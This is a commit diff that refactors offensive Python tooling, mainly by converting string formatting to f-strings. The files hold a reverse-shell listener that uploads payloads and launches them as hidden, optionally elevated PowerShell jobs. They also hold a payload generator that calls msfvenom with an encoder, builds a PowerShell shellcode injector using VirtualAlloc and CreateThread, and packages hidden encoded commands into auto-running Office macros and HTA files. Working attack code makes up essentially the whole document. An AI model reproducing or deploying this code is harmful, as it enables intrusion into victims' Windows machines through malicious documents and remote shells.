This commit is contained in:
Advik 2022-03-20 16:27:10 +05:30 committed by GitHub
commit a05c43b1cb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 166 additions and 192 deletions

View File

@ -224,9 +224,11 @@ class Utility(object):
holder = ""
while holder == "" or holder in Utility.collision_list or holder[0].isdigit():
while not holder or holder in Utility.collision_list or holder[0].isdigit():
# holder = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(random.randint(6, 12)))
holder = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(12))
holder = "".join(
random.choice(string.ascii_uppercase + string.ascii_lowercase +
string.digits) for _ in range(12))
Utility.collision_list.append(holder)
return holder
@ -346,10 +348,10 @@ class Print(object):
@staticmethod
def text(text="", continuous=False):
if continuous:
sys.stdout.write(" " + text)
sys.stdout.write(f" {text}")
sys.stdout.flush()
else:
print(" " + text)
print(f" {text}")
return len(text)
@staticmethod
@ -381,11 +383,11 @@ class Print(object):
while True:
try:
if yes_is_default:
return not (input(" \033[38;5;133m[?] " + text + " (Y/n): \033[0m").strip()).lower() in ["n", "no"]
return (input(" \033[38;5;133m[?] " + text +
" (Y/n): \033[0m").strip()).lower() not in ["n", "no"]
else:
return (input(" \033[38;5;133m[?] " + text + " (y/N): \033[0m").strip()).lower() in ["y", "yes"]
# Catch keyboard interrupt
except KeyboardInterrupt:
pass
@ -393,17 +395,17 @@ class Print(object):
def size(size):
for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]:
if abs(size) < 1024.0:
return "%3.1f %s" % (size, (unit + "B"))
return "%3.1f %s" % (size, f'{unit}B')
size /= 1024.0
return "%.1f%s%s" % (size, "Yi", suffix)
@staticmethod
def ETA(start, part, total):
elapsed = (time.time() - start)
speed = (part / elapsed)
speed = (part / elapsed)
eta = ((total - part) / speed)
return "ETA: " + str(datetime.timedelta(seconds=int(eta)))
return f"ETA: {str(datetime.timedelta(seconds=int(eta)))}"
@staticmethod
def add_name_value(name="", value="", func=None):
@ -1003,15 +1005,11 @@ class Framework(object):
def Upload(self):
count = 0
for fnc in self.framework:
for count, fnc in enumerate(self.framework):
sys.stdout.write("\b" * Print.status("Uploading framwork: {0:.2f}%".format(count / len(self.framework) * 100), True))
self.send_delegate(self.framework[fnc]["function"])
self.receive_delegate(0)
count += 1
Print.success("Framework uploaded successfully" + Print.wipe())
Print.success(f"Framework uploaded successfully{Print.wipe()}")
def IsAdmin(self):
return self.check_delegate(self.framework["IsAdmin"]["name"]).lower() == "true"
@ -1116,29 +1114,25 @@ class Listener(object):
# Path holder
paths = []
# Iterate though all command definitions
for cmd in self.command_definition:
for cmd in self.command_definition:
# Add command to paths
paths.append(cmd)
# Check for command
if cmd.startswith(text.split(" ")[0]) and text.split(" ")[0] == cmd:
# Check for local dictionart mapping
if cmd == "Local-Invoke" or cmd == "Local-Import-Module" or cmd == "Local-Upload":
current = text[len(cmd):].strip()
for x in glob.glob(current + "*"):
paths.append(cmd + " " + x)
if (cmd.startswith(text.split(" ")[0]) and text.split(" ")[0] == cmd
and cmd in ["Local-Invoke", "Local-Import-Module", "Local-Upload"]):
current = text[len(cmd):].strip()
paths.extend(f'{cmd} {x}' for x in glob.glob(f'{current}*'))
# Exclude all paths not starting with typed text (case insensitive)
paths = [path for path in paths if path.lower().startswith(text.lower())]
# Check if only one command exists
if len(paths) == 1 and paths[0] == text:
paths = [] # Empty paths
# Iterate through paths, and return accordingly
for path in paths:
if not state:
@ -1221,13 +1215,13 @@ class Listener(object):
# Create connection holder
self.connection = None
try:
Print.text()
self.server.bind((self.lhost, self.lport))
Print.info("Started reverse handler on %s:%d" % (self.lhost, self.lport))
self.server.listen(1)
self.connection, address = self.server.accept()
fcntl.fcntl(self.server, fcntl.F_SETFL, os.O_NONBLOCK)
@ -1238,20 +1232,18 @@ class Listener(object):
Print.text("\033[38;5;226m\033[48;5;196mBe aware: this is a pseudo powershell. Interactive prompts will result in hangs.\033[0m")
Print.text("\033[38;5;226m\033[48;5;196mI.e. netsh, cmd, cat, etc. When calling cmdlets specify all required parameters.\033[0m")
Print.text()
# Catch socket errors
except socket.error as e:
Print.error(str(e))
# Kill handler on KeyboardInterrupt
except KeyboardInterrupt:
Print.text(Print.wipe(64, True), True)
Print.status("Killing handler..." + Print.wipe(64))
Print.status(f"Killing handler...{Print.wipe(64)}")
try:
if self.connection: self.connection.close()
except: pass
# Check if connection is open
if self.connection:
@ -1307,30 +1299,22 @@ class Listener(object):
# Execute command on client
self.send_command(command)
# Catch keyboard interrupt
except KeyboardInterrupt:
Print.text()
if Print.confirm("Are you sure you want to kill the listener?"):
break
else:
self.send_command("")
pass
# Catch socket error
except socket.error as e:
if e.errno != errno.ECONNRESET:
Print.error(str(e))
pass
self.connection.close()
self.server.shutdown(1)
self.server.close()
else:
try:
self.server.shutdown(1)
except: pass
self.server.close()
self.server.close()
Print.info("Closing connection")
@ -1345,40 +1329,30 @@ class Listener(object):
# Set the beginning time
begin = time.time()
# Wait for buffer and timespan (this could create an infinite loop, so return on ctrl+c)
while not (_buffer and (time.time() - begin) > timespan):
try:
# Read data in pipe
data = self.connection.recv(8192).decode("iso-8859-1")
if data:
if data := self.connection.recv(8192).decode("iso-8859-1"):
# Add data to buffer
_buffer.append(data)
# Change the beginning time
begin = time.time()
else:
# Add gap
time.sleep(0.1)
# If socket error
except socket.error as e:
# Return empty on ECONNRESET
if e.errno == errno.ECONNRESET:
return ""
# Pass on other errors (such as EWOULDBLOCK)
pass
# Return empty ctrl+c
except KeyboardInterrupt:
return ""
# Make socket blocking again
self.connection.setblocking(1)
@ -1393,18 +1367,18 @@ class Listener(object):
response = str(response)
error = searcher.search(response)
response = searcher.sub("", response).strip().split("\n")
for i in range(len(response)):
if i == len(response) - 1:
if error:
sys.stdout.write(("\n \033[38;5;196m\033[48;5;16m" + "\033[0m\n \033[38;5;196m\033[48;5;16m".join((str(error.group(2)).strip()).split("\n"))) + "\033[0m\n")
prompt = (" \033[1m\033[38;5;255m" + response[i] + "\033[0m")
else:
sys.stdout.write(" " + response[i] + "\n")
sys.stdout.write(f" {response[i]}" + "\n")
sys.stdout.flush()
return prompt
@ -1447,14 +1421,14 @@ class Listener(object):
# Clear command buffer
self.check_command("")
credential_name = None
Print.text()
Print.text("Supply values for the following parameters:")
lhost = input(" \033[1m\033[38;5;255mLHOST:\033[0m ").strip()
lport = input(" \033[1m\033[38;5;255mLPORT:\033[0m ").strip()
Print.text()
Print.text("\033[1m\033[38;5;255mSpecify Credentials:\033[0m Run the Job with different credentials.")
if Print.confirm("Specify other credentials?", False):
credential_name = Utility.dynamic_variable()
@ -1462,24 +1436,24 @@ class Listener(object):
Print.text("Supply values for the following parameters:")
username = input(" \033[1m\033[38;5;255mUsername:\033[0m ").strip()
password = input(" \033[1m\033[38;5;255mPassword:\033[0m ").strip()
self.framework.CreateCredential(credential_name, username, password)
Print.text()
Print.text("\033[1m\033[38;5;255mASK Elevation:\033[0m This will trigger the UAC (using a so called ASK elevation). This is NOT stealthy.")
use_elevation = Print.confirm("Use 'ASK Elevation?'", False)
Print.text()
if (not Utility.is_ipv4_address(lhost)):
Print.error("LHOST is not an IP address")
lhost = None
if (not (lport.isdigit() and int(lport) >= 1 and int(lport) <= 65535)):
Print.error("LPORT is not a valid port number")
lport = None
if lhost != None and lport != None:
if lhost != None and lport != None:
if payload_type == conf_name.METERPRETER:
payload = generate_injection(
Utility.replace_all(
@ -1515,11 +1489,11 @@ class Listener(object):
self.framework.UploadVariableChunk(variable_name, "")
# Loop through each data chunk
for i in range(int(length / chunk_size) + 1):
for i in range(length // chunk_size + 1):
# Read base64 encoded chunk from file
self.framework.UploadVariableChunk(variable_name, base64.b64encode(payload[(i * chunk_size):(i * chunk_size + chunk_size)]).decode("utf-8", "ignore"))
uploaded += (length - uploaded) if ((length - uploaded) < chunk_size) else chunk_size
uploaded += min(length - uploaded, chunk_size)
# Print sexy status
sys.stdout.write("\b" * Print.status(
@ -1535,48 +1509,61 @@ class Listener(object):
# Check integrity (of variable)
if (self.framework.VariableSum(variable_name).lower() == hashlib.md5(payload).hexdigest().lower()):
Print.success("Upload completed" + Print.wipe())
Print.success(f"Upload completed{Print.wipe()}")
sys.stdout.write("\b" * Print.status("Launching background job...", True))
# Invoke payload!
self.check_command("$" + variable_name + " = [scriptblock]::Create((new-object -TypeName System.Text.UTF8Encoding).GetString([Convert]::FromBase64String($" + variable_name + ")))")
self.check_command(
f"${variable_name}" +
" = [scriptblock]::Create((new-object -TypeName System.Text.UTF8Encoding).GetString([Convert]::FromBase64String($"
+ variable_name + ")))")
# Escape payload back to string, and back to scriptblock
self.check_command("$" + variable_name + " = $" + variable_name + ".ToString() -replace \"\\$\",\"``$\"")
self.check_command(f"${variable_name} = ${variable_name}" +
".ToString() -replace \"\\$\",\"``$\"")
# Check if elevation should be used
if use_elevation:
self.check_command("$" + variable_name + " = [scriptblock]::Create(\"(Start-Process " + powershell_obfuscation("[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_VERB_] [_OBF_RUNAS_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $" + variable_name + "`\"") + ").ID\")")
# Execute with -NoNewWindow
else:
self.check_command("$" + variable_name + " = [scriptblock]::Create(\"(Start-Process " + powershell_obfuscation("[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_NONEWWINDOW_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $" + variable_name + "`\"") + ").ID\")")
self.check_command(
f"${variable_name}" + " = [scriptblock]::Create(\"(Start-Process " +
powershell_obfuscation(
"[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_VERB_] [_OBF_RUNAS_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $"
+ variable_name + "`\"") + ").ID\")")
if credential_name == None:
self.check_command("Start-Job -Name " + job_name + " -ScriptBlock $" + variable_name)
else:
self.check_command("Start-Job -Name " + job_name + " -ScriptBlock $" + variable_name + " -Credential $" + credential_name )
self.check_command("Remove-Variable -Name " + credential_name)
self.check_command(
f"${variable_name}" + " = [scriptblock]::Create(\"(Start-Process " +
powershell_obfuscation(
"[_OBF_POWERSHELL_] -[_OBF_PASSTHRU_] -[_OBF_NONEWWINDOW_] -[_OBF_ARGUMENTLIST_] `\"-[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] -[_OBF_COMMAND_] $"
+ variable_name + "`\"") + ").ID\")")
Print.success("Job started: " + job_name)
if credential_name is None:
self.check_command(f"Start-Job -Name {job_name} -ScriptBlock ${variable_name}")
else:
self.check_command(
f"Start-Job -Name {job_name} -ScriptBlock ${variable_name}" +
" -Credential $" + credential_name)
self.check_command(f"Remove-Variable -Name {credential_name}")
Print.success(f"Job started: {job_name}")
Print.info("Check status with \033[1m\033[38;5;255mGet-Job " + job_name + "\033[0m")
Print.info("Check process ID with \033[1m\033[38;5;255m(Get-Job " + job_name + ").ChildJobs.Output\033[0m or \033[1m\033[38;5;255m(((Get-Job " + job_name + ").ChildJobs)|Select Output).Output\033[0m")
else:
Print.error("Integrity check failed" + Print.wipe())
Print.error(f"Integrity check failed{Print.wipe()}")
# Remove variable after it has been used
self.check_command("Remove-Variable -Name " + variable_name)
self.check_command(f"Remove-Variable -Name {variable_name}")
else:
Print.error("Incorrect values were specified")
# Print empty line
Print.text()
# Send empty command to load buffer
self.send_command("")

View File

@ -230,11 +230,7 @@ def generate_macro(full_attack, line_length=380):
# start of the macro
macro_str = "Sub AutoOpen()\nDim x\nx = "
if line_length is None:
line_length_int = 380
else:
line_length_int = int(line_length)
line_length_int = 380 if line_length is None else int(line_length)
powershell_command_list = split_str(full_attack, line_length_int)
for line in powershell_command_list:
@ -306,13 +302,17 @@ def generate_shellcode(payload, ipaddr, port):
port = port.replace("LPORT=", "")
# if we are using traditional payloads and not download_eec
if not "exe=" in ipaddr:
ipaddr = "LHOST=%s" % (ipaddr)
port = "LPORT=%s" % (port)
if "exe=" not in ipaddr:
ipaddr = f"LHOST={ipaddr}"
port = f"LPORT={port}"
proc = subprocess.Popen(
"msfvenom -p %s %s %s StagerURILength=5 StagerVerifySSLCert=false -e x86/shikata_ga_nai -a x86 --platform windows --smallest -f c" % (
payload, ipaddr, port), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
f"msfvenom -p {payload} {ipaddr} {port} StagerURILength=5 StagerVerifySSLCert=false -e x86/shikata_ga_nai -a x86 --platform windows --smallest -f c",
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True,
)
data = proc.communicate()[0]
# start to format this a bit to get it ready
repls = {';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', 'Found 0 compatible encoders': '',
@ -363,7 +363,14 @@ def gen_shellcode_attack(payload, ipaddr, port):
r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % shellcode)
# run it through a lame var replace
powershell_code = powershell_code.replace("$1", "$" + var1).replace("$c", "$" + var2).replace("$2", "$" + var3).replace("$3", "$" + var4).replace("$x", "$" + var5)
powershell_code = (
powershell_code.replace("$1", f"${var1}")
.replace("$c", "$" + var2)
.replace("$2", "$" + var3)
.replace("$3", "$" + var4)
.replace("$x", "$" + var5)
)
return powershell_code
@ -371,8 +378,7 @@ def gen_shellcode_attack(payload, ipaddr, port):
def gen_ps1_attack(ps1path):
if os.path.isfile(ps1path):
with open(ps1path, 'r') as scriptfile:
data = scriptfile.read()
return data
return scriptfile.read()
else:
print("[!] {0} does not exist. Please check your path".format(ps1path))
sys.exit(1)
@ -387,23 +393,22 @@ def format_payload(powershell_code, attack_type, attack_modifier, option):
full_attack = "powershell -window hidden -EncodedCommand " + \
base64.b64encode(powershell_code.encode('utf_16_le'))
if attack_type == "msf":
if attack_modifier == "macro":
macro_attack = generate_macro(full_attack)
write_file("powershell_attack.txt", macro_attack)
macro_help()
if attack_type == "msf" and attack_modifier == "macro":
macro_attack = generate_macro(full_attack)
write_file("powershell_attack.txt", macro_attack)
macro_help()
elif attack_modifier == "hta":
gen_hta_attack(full_attack)
# move unicorn to hta attack if hta specified
shutil.move("unicorn.rc", "hta_attack/")
hta_help()
elif attack_type == "msf" and attack_modifier == "hta":
gen_hta_attack(full_attack)
# move unicorn to hta attack if hta specified
shutil.move("unicorn.rc", "hta_attack/")
hta_help()
else: # write out powershell attacks
write_file("powershell_attack.txt", full_attack)
ps_help()
elif attack_type == "msf" or attack_type != "custom_ps1": # write out powershell attacks
write_file("powershell_attack.txt", full_attack)
ps_help()
elif attack_type == "custom_ps1":
else:
if attack_modifier == "macro":
macro_attack = generate_macro(full_attack, option)
write_file("powershell_attack.txt", macro_attack)
@ -412,10 +417,6 @@ def format_payload(powershell_code, attack_type, attack_modifier, option):
custom_ps1_help()
else:
write_file("powershell_attack.txt", full_attack)
ps_help()
# Print completion messages
if attack_type == "msf" and attack_modifier == "hta":
print("[*] Exported index.html, Launcher.hta, and unicorn.rc under hta_attack/.")
@ -445,16 +446,15 @@ try:
custom_ps1_help()
gen_usage()
sys.exit()
elif len(sys.argv) > 2 and sys.argv[2] == "crt":
attack_type = "crt"
payload = sys.argv[1]
elif re.search('\.ps1$', sys.argv[1]) is not None:
attack_type = "custom_ps1"
ps1path = sys.argv[1]
else:
if len(sys.argv) > 2 and sys.argv[2] == "crt":
attack_type = "crt"
payload = sys.argv[1]
elif re.search('\.ps1$', sys.argv[1]) is not None:
attack_type = "custom_ps1"
ps1path = sys.argv[1]
else:
attack_type = "msf"
payload = sys.argv[1]
attack_type = "msf"
payload = sys.argv[1]
# if we are using macros
if len(sys.argv) == 5:
@ -469,21 +469,18 @@ try:
format_payload(ps, attack_type, attack_modifier, None)
# default unicorn & custom ps1 macro attacks
elif len(sys.argv) == 4:
if attack_type == "custom_ps1": # custom ps1 macro attack
if attack_type == "custom_ps1":
attack_modifier = sys.argv[2]
option = sys.argv[3]
ps = gen_ps1_attack(ps1path)
elif attack_type == "msf":
attack_modifier = ""
option = None
payload = sys.argv[1]
ipaddr = sys.argv[2]
port = sys.argv[3]
attack_modifier = ""
option = None
ps = gen_shellcode_attack(payload, ipaddr, port)
# It should not be possible to get here, but just in case it does for some reason in the future, it will
# prevent usage of 'ps' and 'option', causing the app to crash
else:
print("[!] Something went way wrong while generating payload.")
sys.exit()
@ -512,10 +509,9 @@ try:
print("[!] Options not understood or missing. Use --help switch for assistance.")
sys.exit()
# if we did supply parameters
elif len(sys.argv) < 2:
gen_unicorn()
gen_usage()
except Exception as e:
print("[!] Something went wrong, printing the error: " + str(e))
print(f"[!] Something went wrong, printing the error: {str(e)}")

View File

@ -259,7 +259,7 @@ def scramble_stuff():
full_shell = list3[:-2]
return full_exe + "," + ps_only + "," + full_wscript + "," + full_shell
return f'{full_exe},{ps_only},{full_wscript},{full_shell}'
# generate full macro
@ -271,11 +271,7 @@ def generate_macro(full_attack, line_length=380):
macro_str = (
"Sub Auto_Open()\nDim {0}\n{1} = ".format(macro_rand, macro_rand))
if line_length is None:
line_length_int = 380
else:
line_length_int = int(line_length)
line_length_int = 380 if line_length is None else int(line_length)
powershell_command_list = split_str(full_attack, line_length_int)
for line in powershell_command_list:
@ -397,7 +393,7 @@ def generate_shellcode(payload, ipaddr, port):
port = port.replace("LPORT=", "")
# if we are using traditional payloads and not download_eec
if not "exe=" in ipaddr:
if "exe=" not in ipaddr:
ipaddr = "LHOST={0}".format(ipaddr)
port = "LPORT={0}".format(port)
@ -462,8 +458,14 @@ def gen_shellcode_attack(payload, ipaddr, port):
r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-ec ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % shellcode)
# run it through a lame var replace
powershell_code = powershell_code.replace("$1", "$" + var1).replace("$c", "$" + var2).replace(
"$2", "$" + var3).replace("$3", "$" + var4).replace("$x", "$" + var5)
powershell_code = (
powershell_code.replace("$1", f"${var1}")
.replace("$c", "$" + var2)
.replace("$2", f"${var3}")
.replace("$3", f"${var4}")
.replace("$x", f"${var5}")
)
return powershell_code
@ -471,8 +473,7 @@ def gen_shellcode_attack(payload, ipaddr, port):
def gen_ps1_attack(ps1path):
if os.path.isfile(ps1path):
with open(ps1path, 'r') as scriptfile:
data = scriptfile.read()
return data
return scriptfile.read()
else:
print("[!] {0} does not exist. Please check your path".format(ps1path))
sys.exit(1)
@ -495,23 +496,22 @@ def format_payload(powershell_code, attack_type, attack_modifier, option):
full_attack = 'powershell -w 1 -C "sv {0} -;sv {1} ec;sv {2} ((gv {3}).value.toString()+(gv {4}).value.toString());powershell (gv {5}).value.toString() \''.format(ran1, ran2, ran3, ran1, ran2, ran3) + \
base64.b64encode(powershell_code.encode('utf_16_le')) + '\'"'
if attack_type == "msf":
if attack_modifier == "macro":
macro_attack = generate_macro(full_attack)
write_file("powershell_attack.txt", macro_attack)
macro_help()
if attack_type == "msf" and attack_modifier == "macro":
macro_attack = generate_macro(full_attack)
write_file("powershell_attack.txt", macro_attack)
macro_help()
elif attack_modifier == "hta":
gen_hta_attack(full_attack)
# move unicorn to hta attack if hta specified
shutil.move("unicorn.rc", "hta_attack/")
hta_help()
elif attack_type == "msf" and attack_modifier == "hta":
gen_hta_attack(full_attack)
# move unicorn to hta attack if hta specified
shutil.move("unicorn.rc", "hta_attack/")
hta_help()
else: # write out powershell attacks
write_file("powershell_attack.txt", full_attack)
ps_help()
elif attack_type == "msf" or attack_type != "custom_ps1": # write out powershell attacks
write_file("powershell_attack.txt", full_attack)
ps_help()
elif attack_type == "custom_ps1":
else:
if attack_modifier == "macro":
macro_attack = generate_macro(full_attack, option)
write_file("powershell_attack.txt", macro_attack)
@ -520,10 +520,6 @@ def format_payload(powershell_code, attack_type, attack_modifier, option):
custom_ps1_help()
else:
write_file("powershell_attack.txt", full_attack)
ps_help()
# Print completion messages
if attack_type == "msf" and attack_modifier == "hta":
print(
@ -556,16 +552,15 @@ try:
custom_ps1_help()
gen_usage()
sys.exit()
elif len(sys.argv) > 2 and sys.argv[2] == "crt":
attack_type = "crt"
payload = sys.argv[1]
elif re.search('\.ps1$', sys.argv[1]) is not None:
attack_type = "custom_ps1"
ps1path = sys.argv[1]
else:
if len(sys.argv) > 2 and sys.argv[2] == "crt":
attack_type = "crt"
payload = sys.argv[1]
elif re.search('\.ps1$', sys.argv[1]) is not None:
attack_type = "custom_ps1"
ps1path = sys.argv[1]
else:
attack_type = "msf"
payload = sys.argv[1]
attack_type = "msf"
payload = sys.argv[1]
# if we are using macros
if len(sys.argv) == 5:
@ -581,21 +576,18 @@ try:
format_payload(ps, attack_type, attack_modifier, None)
# default unicorn & custom ps1 macro attacks
elif len(sys.argv) == 4:
if attack_type == "custom_ps1": # custom ps1 macro attack
if attack_type == "custom_ps1":
attack_modifier = sys.argv[2]
option = sys.argv[3]
ps = gen_ps1_attack(ps1path)
elif attack_type == "msf":
attack_modifier = ""
option = None
payload = sys.argv[1]
ipaddr = sys.argv[2]
port = sys.argv[3]
attack_modifier = ""
option = None
ps = gen_shellcode_attack(payload, ipaddr, port)
# It should not be possible to get here, but just in case it does for some reason in the future, it will
# prevent usage of 'ps' and 'option', causing the app to crash
else:
print("[!] Something went way wrong while generating payload.")
sys.exit()
@ -626,10 +618,9 @@ try:
"[!] Options not understood or missing. Use --help switch for assistance.")
sys.exit()
# if we did supply parameters
elif len(sys.argv) < 2:
gen_unicorn()
gen_usage()
except Exception as e:
print("[!] Something went wrong, printing the error: " + str(e))
print(f"[!] Something went wrong, printing the error: {str(e)}")